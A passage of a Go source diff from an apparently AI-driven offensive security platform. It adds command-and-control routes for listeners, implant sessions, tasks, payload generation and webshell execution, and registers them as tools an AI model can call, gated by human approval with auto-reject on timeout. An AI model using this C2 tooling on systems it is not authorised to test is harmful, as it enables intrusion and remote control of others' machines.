|
||||
}
|
||||
a.robotMu.Unlock()
|
||||
// 给旧 goroutine 一点时间退出
|
||||
time.Sleep(200 * time.Millisecond)
|
||||
@@ -605,12 +746,14 @@ func setupRoutes(
|
||||
notificationHandler *handler.NotificationHandler,
|
||||
conversationHandler *handler.ConversationHandler,
|
||||
robotHandler *handler.RobotHandler,
|
||||
wechatRobotHandler *handler.WechatRobotHandler,
|
||||
groupHandler *handler.GroupHandler,
|
||||
configHandler *handler.ConfigHandler,
|
||||
externalMCPHandler *handler.ExternalMCPHandler,
|
||||
attackChainHandler *handler.AttackChainHandler,
|
||||
app *App, // 传递 App 实例以便动态获取 knowledgeHandler
|
||||
vulnerabilityHandler *handler.VulnerabilityHandler,
|
||||
projectHandler *handler.ProjectHandler,
|
||||
webshellHandler *handler.WebShellHandler,
|
||||
chatUploadsHandler *handler.ChatUploadsHandler,
|
||||
roleHandler *handler.RoleHandler,
|
||||
@@ -618,6 +761,8 @@ func setupRoutes(
|
||||
markdownAgentsHandler *handler.MarkdownAgentsHandler,
|
||||
fofaHandler *handler.FofaHandler,
|
||||
terminalHandler *handler.TerminalHandler,
|
||||
c2Handler *handler.C2Handler,
|
||||
auditHandler *handler.AuditHandler,
|
||||
mcpServer *mcp.Server,
|
||||
authManager *security.AuthManager,
|
||||
openAPIHandler *handler.OpenAPIHandler,
|
||||
@@ -652,10 +797,12 @@ func setupRoutes(
|
||||
// 机器人测试(需登录):POST /api/robot/test,body: {"platform":"dingtalk","user_id":"test","text":"帮助"},用于验证机器人逻辑
|
||||
protected.POST("/robot/test", robotHandler.HandleRobotTest)
|
||||
|
||||
// Agent Loop
|
||||
protected.POST("/agent-loop", agentHandler.AgentLoop)
|
||||
// Agent Loop 流式输出
|
||||
protected.POST("/agent-loop/stream", agentHandler.AgentLoopStream)
|
||||
// 微信 iLink 扫码绑定(需登录)
|
||||
protected.POST("/robot/wechat/qrcode", wechatRobotHandler.HandleWechatQRCode)
|
||||
protected.GET("/robot/wechat/qrcode/status", wechatRobotHandler.HandleWechatQRCodeStatus)
|
||||
protected.POST("/robot/wechat/qrcode/verify", wechatRobotHandler.HandleWechatVerifyCode)
|
||||
protected.GET("/robot/wechat/status", wechatRobotHandler.HandleWechatStatus)
|
||||
|
||||
// Eino ADK 单代理(ChatModelAgent + Runner;不依赖 multi_agent.enabled)
|
||||
protected.POST("/eino-agent", agentHandler.EinoSingleAgentLoop)
|
||||
protected.POST("/eino-agent/stream", agentHandler.EinoSingleAgentLoopStream)
|
||||
@@ -707,6 +854,7 @@ func setupRoutes(
|
||||
protected.GET("/conversations/:id", conversationHandler.GetConversation)
|
||||
protected.GET("/messages/:id/process-details", conversationHandler.GetMessageProcessDetails)
|
||||
protected.PUT("/conversations/:id", conversationHandler.UpdateConversation)
|
||||
protected.PUT("/conversations/:id/project", conversationHandler.SetConversationProject)
|
||||
protected.DELETE("/conversations/:id", conversationHandler.DeleteConversation)
|
||||
protected.POST("/conversations/:id/delete-turn", conversationHandler.DeleteConversationTurn)
|
||||
protected.PUT("/conversations/:id/pinned", groupHandler.UpdateConversationPinned)
|
||||
@@ -727,6 +875,7 @@ func setupRoutes(
|
||||
// 监控
|
||||
protected.GET("/monitor", monitorHandler.Monitor)
|
||||
protected.GET("/monitor/execution/:id", monitorHandler.GetExecution)
|
||||
protected.POST("/monitor/execution/:id/cancel", monitorHandler.CancelExecution)
|
||||
protected.POST("/monitor/executions/names", monitorHandler.BatchGetToolNames)
|
||||
protected.DELETE("/monitor/execution/:id", monitorHandler.DeleteExecution)
|
||||
protected.DELETE("/monitor/executions", monitorHandler.DeleteExecutions)
|
||||
@@ -741,12 +890,20 @@ func setupRoutes(
|
||||
protected.PUT("/config", configHandler.UpdateConfig)
|
||||
protected.POST("/config/apply", configHandler.ApplyConfig)
|
||||
protected.POST("/config/test-openai", configHandler.TestOpenAI)
|
||||
protected.POST("/config/test-vision", configHandler.TestVision)
|
||||
|
||||
// 系统设置 - 终端(执行命令,提高运维效率)
|
||||
protected.POST("/terminal/run", terminalHandler.RunCommand)
|
||||
protected.POST("/terminal/run/stream", terminalHandler.RunCommandStream)
|
||||
protected.GET("/terminal/ws", terminalHandler.RunCommandWS)
|
||||
|
||||
// 平台审计日志
|
||||
protected.GET("/audit/meta", auditHandler.Meta)
|
||||
protected.GET("/audit/summary", auditHandler.Summary)
|
||||
protected.GET("/audit/logs", auditHandler.ListLogs)
|
||||
protected.GET("/audit/logs/export", auditHandler.ExportLogs)
|
||||
protected.GET("/audit/logs/:id", auditHandler.GetLog)
|
||||
|
||||
// 外部MCP管理
|
||||
protected.GET("/external-mcp", externalMCPHandler.GetExternalMCPs)
|
||||
protected.GET("/external-mcp/stats", externalMCPHandler.GetExternalMCPStats)
|
||||
@@ -915,6 +1072,23 @@ func setupRoutes(
|
||||
protected.PUT("/vulnerabilities/:id", vulnerabilityHandler.UpdateVulnerability)
|
||||
protected.DELETE("/vulnerabilities/:id", vulnerabilityHandler.DeleteVulnerability)
|
||||
|
||||
// 项目管理与事实黑板
|
||||
protected.GET("/projects", projectHandler.ListProjects)
|
||||
protected.POST("/projects", projectHandler.CreateProject)
|
||||
protected.GET("/projects/:id/stats", projectHandler.GetProjectStats)
|
||||
protected.GET("/projects/:id/conversations", projectHandler.ListProjectConversations)
|
||||
protected.GET("/projects/:id", projectHandler.GetProject)
|
||||
protected.PUT("/projects/:id", projectHandler.UpdateProject)
|
||||
protected.DELETE("/projects/:id", projectHandler.DeleteProject)
|
||||
protected.GET("/projects/:id/facts", projectHandler.ListFacts)
|
||||
protected.GET("/projects/:id/facts/:factId/previous-version", projectHandler.GetFactPreviousVersion)
|
||||
protected.GET("/projects/:id/facts/:factId/versions", projectHandler.ListFactVersions)
|
||||
protected.POST("/projects/:id/facts", projectHandler.CreateFact)
|
||||
protected.PUT("/projects/:id/facts/:factId", projectHandler.UpdateFact)
|
||||
protected.DELETE("/projects/:id/facts/:factId", projectHandler.DeleteFact)
|
||||
protected.POST("/projects/:id/facts/deprecate", projectHandler.DeprecateFact)
|
||||
protected.POST("/projects/:id/facts/restore", projectHandler.RestoreFact)
|
||||
|
||||
// WebShell 管理(代理执行 + 连接配置存 SQLite)
|
||||
protected.GET("/webshell/connections", webshellHandler.ListConnections)
|
||||
protected.POST("/webshell/connections", webshellHandler.CreateConnection)
|
||||
@@ -927,6 +1101,52 @@ func setupRoutes(
|
||||
protected.POST("/webshell/exec", webshellHandler.Exec)
|
||||
protected.POST("/webshell/file", webshellHandler.FileOp)
|
||||
|
||||
// C2 管理(未启用时返回 503,避免 Handler 空指针)
|
||||
c2Routes := protected.Group("/c2")
|
||||
c2Routes.Use(func(c *gin.Context) {
|
||||
if app.c2Manager == nil {
|
||||
c.AbortWithStatusJSON(http.StatusServiceUnavailable, gin.H{
|
||||
"error": "c2_disabled",
|
||||
"message": "C2 功能已在系统设置中关闭",
|
||||
"enabled": false,
|
||||
})
|
||||
return
|
||||
}
|
||||
c.Next()
|
||||
})
|
||||
c2Routes.GET("/listeners", c2Handler.ListListeners)
|
||||
c2Routes.POST("/listeners", c2Handler.CreateListener)
|
||||
c2Routes.GET("/listeners/:id", c2Handler.GetListener)
|
||||
c2Routes.PUT("/listeners/:id", c2Handler.UpdateListener)
|
||||
c2Routes.DELETE("/listeners/:id", c2Handler.DeleteListener)
|
||||
c2Routes.POST("/listeners/:id/start", c2Handler.StartListener)
|
||||
c2Routes.POST("/listeners/:id/stop", c2Handler.StopListener)
|
||||
c2Routes.GET("/sessions", c2Handler.ListSessions)
|
||||
c2Routes.GET("/sessions/:id", c2Handler.GetSession)
|
||||
c2Routes.DELETE("/sessions/:id", c2Handler.DeleteSession)
|
||||
c2Routes.PUT("/sessions/:id/sleep", c2Handler.SetSessionSleep)
|
||||
c2Routes.GET("/tasks", c2Handler.ListTasks)
|
||||
c2Routes.DELETE("/tasks", c2Handler.DeleteTasks)
|
||||
c2Routes.GET("/tasks/:id", c2Handler.GetTask)
|
||||
c2Routes.POST("/tasks", c2Handler.CreateTask)
|
||||
c2Routes.POST("/tasks/:id/cancel", c2Handler.CancelTask)
|
||||
c2Routes.GET("/tasks/:id/wait", c2Handler.WaitTask)
|
||||
c2Routes.POST("/sessions/:id/tasks", c2Handler.CreateTask)
|
||||
c2Routes.POST("/payloads/oneliner", c2Handler.PayloadOneliner)
|
||||
c2Routes.POST("/payloads/build", c2Handler.PayloadBuild)
|
||||
c2Routes.GET("/payloads/:id/download", c2Handler.PayloadDownload)
|
||||
c2Routes.GET("/events", c2Handler.ListEvents)
|
||||
c2Routes.DELETE("/events", c2Handler.DeleteEvents)
|
||||
c2Routes.GET("/events/stream", c2Handler.EventStream)
|
||||
c2Routes.POST("/files/upload", c2Handler.UploadFileForImplant)
|
||||
c2Routes.GET("/files", c2Handler.ListFiles)
|
||||
c2Routes.GET("/tasks/:id/result-file", c2Handler.DownloadResultFile)
|
||||
c2Routes.GET("/profiles", c2Handler.ListProfiles)
|
||||
c2Routes.GET("/profiles/:id", c2Handler.GetProfile)
|
||||
c2Routes.POST("/profiles", c2Handler.CreateProfile)
|
||||
c2Routes.PUT("/profiles/:id", c2Handler.UpdateProfile)
|
||||
c2Routes.DELETE("/profiles/:id", c2Handler.DeleteProfile)
|
||||
|
||||
// 对话附件(chat_uploads)管理
|
||||
protected.GET("/chat-uploads", chatUploadsHandler.List)
|
||||
protected.GET("/chat-uploads/download", chatUploadsHandler.Download)
|
||||
@@ -989,195 +1209,6 @@ func setupRoutes(
|
||||
})
|
||||
}
|
||||
|
||||
// registerVulnerabilityTool 注册漏洞记录工具到MCP服务器
|
||||
func registerVulnerabilityTool(mcpServer *mcp.Server, db *database.DB, logger *zap.Logger) {
|
||||
tool := mcp.Tool{
|
||||
Name: builtin.ToolRecordVulnerability,
|
||||
Description: "记录发现的漏洞详情到漏洞管理系统。当发现有效漏洞时,使用此工具记录漏洞信息,包括标题、描述、严重程度、类型、目标、证明、影响和建议等。",
|
||||
ShortDescription: "记录发现的漏洞详情到漏洞管理系统",
|
||||
InputSchema: map[string]interface{}{
|
||||
"type": "object",
|
||||
"properties": map[string]interface{}{
|
||||
"title": map[string]interface{}{
|
||||
"type": "string",
|
||||
"description": "漏洞标题(必需)",
|
||||
},
|
||||
"description": map[string]interface{}{
|
||||
"type": "string",
|
||||
"description": "漏洞详细描述",
|
||||
},
|
||||
"severity": map[string]interface{}{
|
||||
"type": "string",
|
||||
"description": "漏洞严重程度:critical(严重)、high(高)、medium(中)、low(低)、info(信息)",
|
||||
"enum": []string{"critical", "high", "medium", "low", "info"},
|
||||
},
|
||||
"vulnerability_type": map[string]interface{}{
|
||||
"type": "string",
|
||||
"description": "漏洞类型,如:SQL注入、XSS、CSRF、命令注入等",
|
||||
},
|
||||
"target": map[string]interface{}{
|
||||
"type": "string",
|
||||
"description": "受影响的目标(URL、IP地址、服务等)",
|
||||
},
|
||||
"proof": map[string]interface{}{
|
||||
"type": "string",
|
||||
"description": "漏洞证明(POC、截图、请求/响应等)",
|
||||
},
|
||||
"impact": map[string]interface{}{
|
||||
"type": "string",
|
||||
"description": "漏洞影响说明",
|
||||
},
|
||||
"recommendation": map[string]interface{}{
|
||||
"type": "string",
|
||||
"description": "修复建议",
|
||||
},
|
||||
},
|
||||
"required": []string{"title", "severity"},
|
||||
},
|
||||
}
|
||||
|
||||
handler := func(ctx context.Context, args map[string]interface{}) (*mcp.ToolResult, error) {
|
||||
// 从参数中获取conversation_id(由Agent自动添加)
|
||||
conversationID, _ := args["conversation_id"].(string)
|
||||
if conversationID == "" {
|
||||
return &mcp.ToolResult{
|
||||
Content: []mcp.Content{
|
||||
{
|
||||
Type: "text",
|
||||
Text: "错误: conversation_id 未设置。这是系统错误,请重试。",
|
||||
},
|
||||
},
|
||||
IsError: true,
|
||||
}, nil
|
||||
}
|
||||
|
||||
title, ok := args["title"].(string)
|
||||
if !ok || title == "" {
|
||||
return &mcp.ToolResult{
|
||||
Content: []mcp.Content{
|
||||
{
|
||||
Type: "text",
|
||||
Text: "错误: title 参数必需且不能为空",
|
||||
},
|
||||
},
|
||||
IsError: true,
|
||||
}, nil
|
||||
}
|
||||
|
||||
severity, ok := args["severity"].(string)
|
||||
if !ok || severity == "" {
|
||||
return &mcp.ToolResult{
|
||||
Content: []mcp.Content{
|
||||
{
|
||||
Type: "text",
|
||||
Text: "错误: severity 参数必需且不能为空",
|
||||
},
|
||||
},
|
||||
IsError: true,
|
||||
}, nil
|
||||
}
|
||||
|
||||
// 验证严重程度
|
||||
validSeverities := map[string]bool{
|
||||
"critical": true,
|
||||
"high": true,
|
||||
"medium": true,
|
||||
"low": true,
|
||||
"info": true,
|
||||
}
|
||||
if !validSeverities[severity] {
|
||||
return &mcp.ToolResult{
|
||||
Content: []mcp.Content{
|
||||
{
|
||||
Type: "text",
|
||||
Text: fmt.Sprintf("错误: severity 必须是 critical、high、medium、low 或 info 之一,当前值: %s", severity),
|
||||
},
|
||||
},
|
||||
IsError: true,
|
||||
}, nil
|
||||
}
|
||||
|
||||
// 获取可选参数
|
||||
description := ""
|
||||
if d, ok := args["description"].(string); ok {
|
||||
description = d
|
||||
}
|
||||
|
||||
vulnType := ""
|
||||
if t, ok := args["vulnerability_type"].(string); ok {
|
||||
vulnType = t
|
||||
}
|
||||
|
||||
target := ""
|
||||
if t, ok := args["target"].(string); ok {
|
||||
target = t
|
||||
}
|
||||
|
||||
proof := ""
|
||||
if p, ok := args["proof"].(string); ok {
|
||||
proof = p
|
||||
}
|
||||
|
||||
impact := ""
|
||||
if i, ok := args["impact"].(string); ok {
|
||||
impact = i
|
||||
}
|
||||
|
||||
recommendation := ""
|
||||
if r, ok := args["recommendation"].(string); ok {
|
||||
recommendation = r
|
||||
}
|
||||
|
||||
// 创建漏洞记录
|
||||
vuln := &database.Vulnerability{
|
||||
ConversationID: conversationID,
|
||||
Title: title,
|
||||
Description: description,
|
||||
Severity: severity,
|
||||
Status: "open",
|
||||
Type: vulnType,
|
||||
Target: target,
|
||||
Proof: proof,
|
||||
Impact: impact,
|
||||
Recommendation: recommendation,
|
||||
}
|
||||
|
||||
created, err := db.CreateVulnerability(vuln)
|
||||
if err != nil {
|
||||
logger.Error("记录漏洞失败", zap.Error(err))
|
||||
return &mcp.ToolResult{
|
||||
Content: []mcp.Content{
|
||||
{
|
||||
Type: "text",
|
||||
Text: fmt.Sprintf("记录漏洞失败: %v", err),
|
||||
},
|
||||
},
|
||||
IsError: true,
|
||||
}, nil
|
||||
}
|
||||
|
||||
logger.Info("漏洞记录成功",
|
||||
zap.String("id", created.ID),
|
||||
zap.String("title", created.Title),
|
||||
zap.String("severity", created.Severity),
|
||||
zap.String("conversation_id", conversationID),
|
||||
)
|
||||
|
||||
return &mcp.ToolResult{
|
||||
Content: []mcp.Content{
|
||||
{
|
||||
Type: "text",
|
||||
Text: fmt.Sprintf("漏洞已成功记录!\n\n漏洞ID: %s\n标题: %s\n严重程度: %s\n状态: %s\n\n你可以在漏洞管理页面查看和管理此漏洞。", created.ID, created.Title, created.Severity, created.Status),
|
||||
},
|
||||
},
|
||||
IsError: false,
|
||||
}, nil
|
||||
}
|
||||
|
||||
mcpServer.RegisterTool(tool, handler)
|
||||
logger.Info("漏洞记录工具注册成功")
|
||||
}
|
||||
|
||||
// registerWebshellTools 注册 WebShell 相关 MCP 工具,供 AI 助手在指定连接上执行命令与文件操作
|
||||
func registerWebshellTools(mcpServer *mcp.Server, db *database.DB, webshellHandler *handler.WebShellHandler, logger *zap.Logger) {
|
||||
if db == nil || webshellHandler == nil {
|
||||
@@ -1762,6 +1793,9 @@ func initializeKnowledge(
|
||||
|
||||
// 创建知识库API处理器
|
||||
knowledgeHandler := handler.NewKnowledgeHandler(knowledgeManager, knowledgeRetriever, knowledgeIndexer, db, logger)
|
||||
if app != nil && app.auditSvc != nil {
|
||||
knowledgeHandler.SetAudit(app.auditSvc)
|
||||
}
|
||||
logger.Info("知识库模块初始化完成", zap.Bool("handler_created", knowledgeHandler != nil))
|
||||
|
||||
// 设置知识库管理器到AgentHandler以便记录检索日志
|
||||
|
||||
@@ -0,0 +1,228 @@
|
||||
package app
|
||||
|
||||
import (
|
||||
"context"
|
||||
"database/sql"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"cyberstrike-ai/internal/c2"
|
||||
"cyberstrike-ai/internal/database"
|
||||
|
||||
"github.com/google/uuid"
|
||||
"go.uber.org/zap"
|
||||
)
|
||||
|
||||
// C2HITLBridge 实现 C2 Manager 的 HITLBridge 接口,将危险任务桥接到现有 HITL 审批流。
|
||||
// 审批记录写入 hitl_interrupts 表,与现有 HITL 系统共享前端审批 UI。
|
||||
type C2HITLBridge struct {
|
||||
db *database.DB
|
||||
logger *zap.Logger
|
||||
timeout time.Duration
|
||||
getConvID func() string
|
||||
}
|
||||
|
||||
// NewC2HITLBridge 创建 C2 HITL 桥
|
||||
func NewC2HITLBridge(db *database.DB, logger *zap.Logger) *C2HITLBridge {
|
||||
return &C2HITLBridge{
|
||||
db: db,
|
||||
logger: logger,
|
||||
timeout: 5 * time.Minute,
|
||||
getConvID: func() string { return "" },
|
||||
}
|
||||
}
|
||||
|
||||
// SetConversationIDGetter 设置获取当前对话 ID 的函数
|
||||
func (b *C2HITLBridge) SetConversationIDGetter(fn func() string) {
|
||||
b.getConvID = fn
|
||||
}
|
||||
|
||||
// SetTimeout 设置审批超时(0 表示不超时)
|
||||
func (b *C2HITLBridge) SetTimeout(d time.Duration) {
|
||||
b.timeout = d
|
||||
}
|
||||
|
||||
// RequestApproval 实现 HITLBridge 接口:写入 hitl_interrupts 表并轮询等待审批结果
|
||||
func (b *C2HITLBridge) RequestApproval(ctx context.Context, req c2.HITLApprovalRequest) error {
|
||||
interruptID := "hitl_c2_" + strings.ReplaceAll(uuid.New().String(), "-", "")[:14]
|
||||
now := time.Now()
|
||||
|
||||
convID := req.ConversationID
|
||||
if convID == "" {
|
||||
convID = b.getConvID()
|
||||
}
|
||||
if convID == "" {
|
||||
convID = "c2_system"
|
||||
}
|
||||
|
||||
payload, _ := json.Marshal(map[string]interface{}{
|
||||
"task_id": req.TaskID,
|
||||
"session_id": req.SessionID,
|
||||
"task_type": req.TaskType,
|
||||
"payload": req.PayloadJSON,
|
||||
"source": req.Source,
|
||||
"reason": req.Reason,
|
||||
"c2_operation": true,
|
||||
})
|
||||
|
||||
_, err := b.db.Exec(`INSERT INTO hitl_interrupts
|
||||
(id, conversation_id, message_id, mode, tool_name, tool_call_id, payload, status, created_at)
|
||||
VALUES (?, ?, ?, ?, ?, ?, ?, 'pending', ?)`,
|
||||
interruptID, convID, "", "approval",
|
||||
c2.MCPToolC2Task, req.TaskID,
|
||||
string(payload), now,
|
||||
)
|
||||
if err != nil {
|
||||
b.logger.Error("C2 HITL: 创建审批记录失败,拒绝执行", zap.Error(err))
|
||||
return fmt.Errorf("C2 HITL 审批记录创建失败,安全起见拒绝执行: %w", err)
|
||||
}
|
||||
|
||||
b.logger.Info("C2 HITL: 等待人工审批",
|
||||
zap.String("interrupt_id", interruptID),
|
||||
zap.String("task_id", req.TaskID),
|
||||
zap.String("task_type", req.TaskType),
|
||||
)
|
||||
|
||||
// Poll DB waiting for decision
|
||||
ticker := time.NewTicker(500 * time.Millisecond)
|
||||
defer ticker.Stop()
|
||||
|
||||
var deadline <-chan time.Time
|
||||
if b.timeout > 0 {
|
||||
timer := time.NewTimer(b.timeout)
|
||||
defer timer.Stop()
|
||||
deadline = timer.C
|
||||
}
|
||||
|
||||
for {
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
_, _ = b.db.Exec(`UPDATE hitl_interrupts SET status='cancelled', decision='reject',
|
||||
decision_comment='context cancelled', decided_at=? WHERE id=? AND status='pending'`,
|
||||
time.Now(), interruptID)
|
||||
return ctx.Err()
|
||||
|
||||
case <-deadline:
|
||||
_, _ = b.db.Exec(`UPDATE hitl_interrupts SET status='timeout', decision='reject',
|
||||
decision_comment='C2 HITL timeout auto-reject for safety', decided_at=? WHERE id=? AND status='pending'`,
|
||||
time.Now(), interruptID)
|
||||
b.logger.Warn("C2 HITL: 审批超时,安全起见拒绝执行", zap.String("interrupt_id", interruptID))
|
||||
return fmt.Errorf("C2 HITL 审批超时,危险任务已被自动拒绝")
|
||||
|
||||
case <-ticker.C:
|
||||
var status, decision string
|
||||
err := b.db.QueryRow(`SELECT status, COALESCE(decision, '') FROM hitl_interrupts WHERE id = ?`,
|
||||
interruptID).Scan(&status, &decision)
|
||||
if err != nil {
|
||||
if err == sql.ErrNoRows {
|
||||
return nil
|
||||
}
|
||||
continue
|
||||
}
|
||||
switch status {
|
||||
case "decided", "timeout":
|
||||
if decision == "reject" {
|
||||
return fmt.Errorf("C2 危险任务被人工拒绝")
|
||||
}
|
||||
return nil
|
||||
case "cancelled":
|
||||
return fmt.Errorf("C2 审批已取消")
|
||||
case "pending":
|
||||
continue
|
||||
default:
|
||||
continue
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// C2HooksConfig 配置 C2 Manager 的 Hooks
|
||||
type C2HooksConfig struct {
|
||||
DB *database.DB
|
||||
Logger *zap.Logger
|
||||
AttackChainRecord func(session *database.C2Session, phase string, description string)
|
||||
VulnRecord func(session *database.C2Session, title string, severity string)
|
||||
}
|
||||
|
||||
// SetupC2Hooks 设置 C2 Manager 的业务钩子
|
||||
func SetupC2Hooks(cfg *C2HooksConfig) c2.Hooks {
|
||||
return c2.Hooks{
|
||||
OnSessionFirstSeen: func(session *database.C2Session) {
|
||||
// 新会话上线
|
||||
cfg.Logger.Info("C2 Session first seen",
|
||||
zap.String("session_id", session.ID),
|
||||
zap.String("hostname", session.Hostname),
|
||||
zap.String("os", session.OS),
|
||||
zap.String("arch", session.Arch),
|
||||
)
|
||||
|
||||
// 记录漏洞(初始访问点)
|
||||
if cfg.VulnRecord != nil {
|
||||
cfg.VulnRecord(session, fmt.Sprintf("C2 Session Established: %s@%s", session.Username, session.Hostname), "high")
|
||||
}
|
||||
|
||||
// 记录攻击链(Initial Access)
|
||||
if cfg.AttackChainRecord != nil {
|
||||
cfg.AttackChainRecord(session, "initial-access", fmt.Sprintf("Implant beacon from %s/%s", session.Hostname, session.InternalIP))
|
||||
}
|
||||
},
|
||||
OnTaskCompleted: func(task *database.C2Task, sessionID string) {
|
||||
// 任务完成
|
||||
cfg.Logger.Debug("C2 Task completed",
|
||||
zap.String("task_id", task.ID),
|
||||
zap.String("task_type", task.TaskType),
|
||||
zap.String("status", task.Status),
|
||||
)
|
||||
|
||||
// 根据任务类型记录攻击链
|
||||
if cfg.AttackChainRecord != nil {
|
||||
session, _ := cfg.DB.GetC2Session(sessionID)
|
||||
if session != nil {
|
||||
phase := taskToAttackPhase(task.TaskType)
|
||||
if phase != "" {
|
||||
cfg.AttackChainRecord(session, phase, fmt.Sprintf("Task %s: %s", task.TaskType, task.Status))
|
||||
}
|
||||
}
|
||||
}
|
||||
},
|
||||
}
|
||||
}
|
||||
|
||||
// taskToAttackPhase 将任务类型映射到 ATT&CK 阶段
|
||||
func taskToAttackPhase(taskType string) string {
|
||||
switch taskType {
|
||||
case "exec", "shell":
|
||||
return "execution"
|
||||
case "upload":
|
||||
return "persistence"
|
||||
case "download":
|
||||
return "exfiltration"
|
||||
case "screenshot":
|
||||
return "collection"
|
||||
case "kill_proc":
|
||||
return "impact"
|
||||
case "port_fwd", "socks_start":
|
||||
return "lateral-movement"
|
||||
case "load_assembly":
|
||||
return "defense-evasion"
|
||||
case "persist":
|
||||
return "persistence"
|
||||
case "self_delete":
|
||||
return "defense-evasion"
|
||||
default:
|
||||
return "execution"
|
||||
}
|
||||
}
|
||||
|
||||
// SetupC2HITLBridgeWithAgent 设置 HITL 桥接器
|
||||
// 这个函数将由 App 调用,注入必要的依赖
|
||||
func SetupC2HITLBridgeWithAgent(db *database.DB, logger *zap.Logger) c2.HITLBridge {
|
||||
return &C2HITLBridge{
|
||||
db: db,
|
||||
logger: logger,
|
||||
timeout: 5 * time.Minute,
|
||||
getConvID: func() string { return "" },
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,104 @@
|
||||
package app
|
||||
|
||||
import (
|
||||
"context"
|
||||
|
||||
"cyberstrike-ai/internal/c2"
|
||||
"cyberstrike-ai/internal/config"
|
||||
"cyberstrike-ai/internal/database"
|
||||
"cyberstrike-ai/internal/handler"
|
||||
|
||||
"go.uber.org/zap"
|
||||
)
|
||||
|
||||
// setupC2Runtime 创建 C2 Manager、看门狗与取消函数;不注册 MCP 工具(由 Apply 统一 ClearTools 后注册)。
|
||||
func setupC2Runtime(
|
||||
cfg *config.Config,
|
||||
db *database.DB,
|
||||
agentHandler *handler.AgentHandler,
|
||||
logger *zap.Logger,
|
||||
) (*c2.Manager, *c2.SessionWatchdog, context.CancelFunc) {
|
||||
if !cfg.C2.EnabledEffective() {
|
||||
return nil, nil, nil
|
||||
}
|
||||
c2Manager := c2.NewManager(db, logger, "tmp/c2")
|
||||
c2Manager.Registry().Register(string(c2.ListenerTypeTCPReverse), c2.NewTCPReverseListener)
|
||||
c2Manager.Registry().Register(string(c2.ListenerTypeHTTPBeacon), c2.NewHTTPBeaconListener)
|
||||
c2Manager.Registry().Register(string(c2.ListenerTypeHTTPSBeacon), c2.NewHTTPSBeaconListener)
|
||||
c2Manager.Registry().Register(string(c2.ListenerTypeWebSocket), c2.NewWebSocketListener)
|
||||
c2HITLBridge := NewC2HITLBridge(db, logger)
|
||||
c2Manager.SetHITLBridge(c2HITLBridge)
|
||||
c2Manager.SetHITLDangerousGate(func(conversationID, toolName string) bool {
|
||||
return agentHandler.HITLNeedsToolApproval(conversationID, toolName)
|
||||
})
|
||||
c2Hooks := SetupC2Hooks(&C2HooksConfig{
|
||||
DB: db,
|
||||
Logger: logger,
|
||||
AttackChainRecord: func(session *database.C2Session, phase string, description string) {
|
||||
logger.Info("C2 Attack Chain",
|
||||
zap.String("session_id", session.ID),
|
||||
zap.String("phase", phase),
|
||||
zap.String("desc", description),
|
||||
)
|
||||
},
|
||||
VulnRecord: func(session *database.C2Session, title string, severity string) {
|
||||
logger.Info("C2 Vulnerability",
|
||||
zap.String("session_id", session.ID),
|
||||
zap.String("title", title),
|
||||
zap.String("severity", severity),
|
||||
)
|
||||
},
|
||||
})
|
||||
c2Manager.SetHooks(c2Hooks)
|
||||
c2Manager.RestoreRunningListeners()
|
||||
c2Watchdog := c2.NewSessionWatchdog(c2Manager)
|
||||
watchdogCtx, watchdogCancel := context.WithCancel(context.Background())
|
||||
go c2Watchdog.Run(watchdogCtx)
|
||||
return c2Manager, c2Watchdog, watchdogCancel
|
||||
}
|
||||
|
||||
// ReconcileC2AfterConfigApply 根据当前内存配置启停 C2(不写盘;在 Apply 中 ClearTools 之前调用)。
|
||||
func (a *App) ReconcileC2AfterConfigApply() error {
|
||||
if !a.config.C2.EnabledEffective() {
|
||||
a.shutdownC2()
|
||||
return nil
|
||||
}
|
||||
if a.c2Manager != nil {
|
||||
return nil
|
||||
}
|
||||
if a.db == nil || a.agentHandler == nil {
|
||||
return nil
|
||||
}
|
||||
m, wd, cancel := setupC2Runtime(a.config, a.db, a.agentHandler, a.logger.Logger)
|
||||
if m == nil {
|
||||
return nil
|
||||
}
|
||||
a.c2Manager = m
|
||||
a.c2Watchdog = wd
|
||||
a.c2WatchdogCancel = cancel
|
||||
if a.c2Handler != nil {
|
||||
a.c2Handler.SetManager(m)
|
||||
}
|
||||
a.logger.Info("C2 子系统已按配置启动")
|
||||
return nil
|
||||
}
|
||||
|
||||
// shutdownC2 停止看门狗与所有监听器,并断开 Handler 引用。
|
||||
func (a *App) shutdownC2() {
|
||||
had := a.c2WatchdogCancel != nil || a.c2Manager != nil
|
||||
if a.c2WatchdogCancel != nil {
|
||||
a.c2WatchdogCancel()
|
||||
a.c2WatchdogCancel = nil
|
||||
}
|
||||
a.c2Watchdog = nil
|
||||
if a.c2Manager != nil {
|
||||
a.c2Manager.Close()
|
||||
a.c2Manager = nil
|
||||
}
|
||||
if a.c2Handler != nil {
|
||||
a.c2Handler.SetManager(nil)
|
||||
}
|
||||
if had {
|
||||
a.logger.Info("C2 子系统已关闭")
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,861 @@
|
||||
package app
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"strconv"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"cyberstrike-ai/internal/agent"
|
||||
"cyberstrike-ai/internal/c2"
|
||||
"cyberstrike-ai/internal/database"
|
||||
"cyberstrike-ai/internal/mcp"
|
||||
"cyberstrike-ai/internal/mcp/builtin"
|
||||
|
||||
"github.com/google/uuid"
|
||||
"go.uber.org/zap"
|
||||
)
|
||||
|
||||
// registerC2Tools 注册所有 C2 MCP 工具(合并同类项,减少工具数量以节省上下文 token)。
|
||||
// webListenPort 为本进程 Web/API 监听端口(配置 server.port,启动时已加载),用于 MCP 描述中提示勿与 C2 bind_port 冲突。
|
||||
func registerC2Tools(mcpServer *mcp.Server, c2Manager *c2.Manager, logger *zap.Logger, webListenPort int) {
|
||||
registerC2ListenerTool(mcpServer, c2Manager, logger, webListenPort)
|
||||
registerC2SessionTool(mcpServer, c2Manager, logger)
|
||||
registerC2TaskTool(mcpServer, c2Manager, logger)
|
||||
registerC2TaskManageTool(mcpServer, c2Manager, logger)
|
||||
registerC2PayloadTool(mcpServer, c2Manager, logger, webListenPort)
|
||||
registerC2EventTool(mcpServer, c2Manager, logger)
|
||||
registerC2ProfileTool(mcpServer, c2Manager, logger)
|
||||
registerC2FileTool(mcpServer, c2Manager, logger)
|
||||
